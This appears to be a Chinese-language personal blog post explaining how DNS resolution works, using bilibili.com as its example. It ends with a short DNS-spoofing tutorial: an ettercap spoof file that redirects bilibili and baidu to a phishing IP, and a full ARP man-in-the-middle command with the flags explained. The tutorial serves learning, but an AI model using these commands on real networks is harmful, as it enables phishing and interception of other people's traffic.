alittlemc,個人原創,個人理解和觀點。若有錯誤、不理解請與我聯絡,謝謝!
以為live.bilibili.com為例子,從後到前依次為頂級(一級)域名com、二級域名bilibili,三級域名live。www是特殊的標示代表主機,有一些域名再長點,就繼續四級域名、五級域名加下去。
DNS(Domain Name System,域名系統),DNS簡單來說就是已知域名求IP的服務。在TCP/IP協定下的網路中,裝置之間通訊都是用網路層的IP作目標標識的,但是存取網頁我們往往通過域名來存取,比如bilibili對應的IP解析為119.3.70.188,https://bilibili.com比如https://119.3.70.188都可以開啟bilibili站點,但是IP地址不是每個人都能很好的記憶的,更何況將來如果IPv6廣泛應用了(如圖1所示),所以是DNS一項很重要的技術。
圖1.www.bilibili.com解析出的IPv6地址
DNS服務在提供域名解析額同時,還為伺服器提供負載均衡,IP優化域名優化的效果。
圖2.bilibili.com全部解析結果
DNS一開始本機會「先求人不如求己」,先查詢本機DNS存放在記憶體中快取(這快取幾個小時後清除),本機hosts檔案。實在是沒有才會向本機設定的DNS Server發起請求,本機的DNS Server為阿里的223.5.5.5。
DNS使用UDP:53埠(當然也可以使用TCP:53,在較大請求和返回資料的情況下使用,因為UDP報文最大576位元組且後續報文不分片直接丟棄。所以減去UDP報頭,DNS報文資料限制在512位元組內)。UDP的報文很乾淨,一來一回也不需要握手。
圖3.本機192.168.4.1與DNS Server 223.5.5.5的請求過程
DNS Server接受到任務後會查詢DNS資料庫的,當然「人非聖賢孰能無過」,DNS Server也會查詢不到IP,會再向上游DNS Server發起請求:
圖4.本機192.168.4.1與DNS Server 223.5.5.5的請求過程
DNS有不同的記錄:
圖5.反向解析
圖6.a.w.bilibili.com和www.bilibili.com相同
其他的記錄還有:SOA 記錄還有、MX記錄、NS記錄、TXT記錄、SRV記錄、APL記錄、CAA記錄、DNAME記錄 等等。太多啦,不在本次的討論範圍啦。
溫馨提示:DNS劫持是違法的,請不要以身試法(一般情況我們稱駭客 為小黑子香精撈飯)
ettercap是基於ARP 地址欺騙來實現中間人攻擊的工具。
可惡我的kali截圖丟了,後面我會補上。
一般情況下完整版的Kali是自帶甚至有圖形介面,
# 域名 A 釣魚網站IP # 比如 # 正向A www.bilibili.com A 10.100.10.4 www.baidu.com A 10.100.10.4 # 反向PRT www.bilibili.com PRT 10.100.10.4 www.baidu.com PRT 10.100.10.4
# 檢視閘道器 網路卡等 root @ localhost in ~ [21:54:10] C:1$ sudo route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 10.100.10.1 0.0.0.0 255.255.255.192 U 0 0 0 wlan0
---
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /被攻擊者ip// /被攻擊者閘道器// -i <網路卡>:指定網路卡 -T:只顯示文字 -q:安靜模式,不顯示抓到的封包內容 -M <攻擊方式>:執行中間人攻擊,這裡的arp:remote為arp欺騙 -P <外掛名>:使用的外掛,這裡使用dns_spoof即可dns欺騙外掛
ettercap -i wlan0 -Tq -M arp:remote -P dns_spoof /10.100.10.120// /10.100.10.1//
--
今天先寫這麼多啦,好睏啊,今天早點休息吧。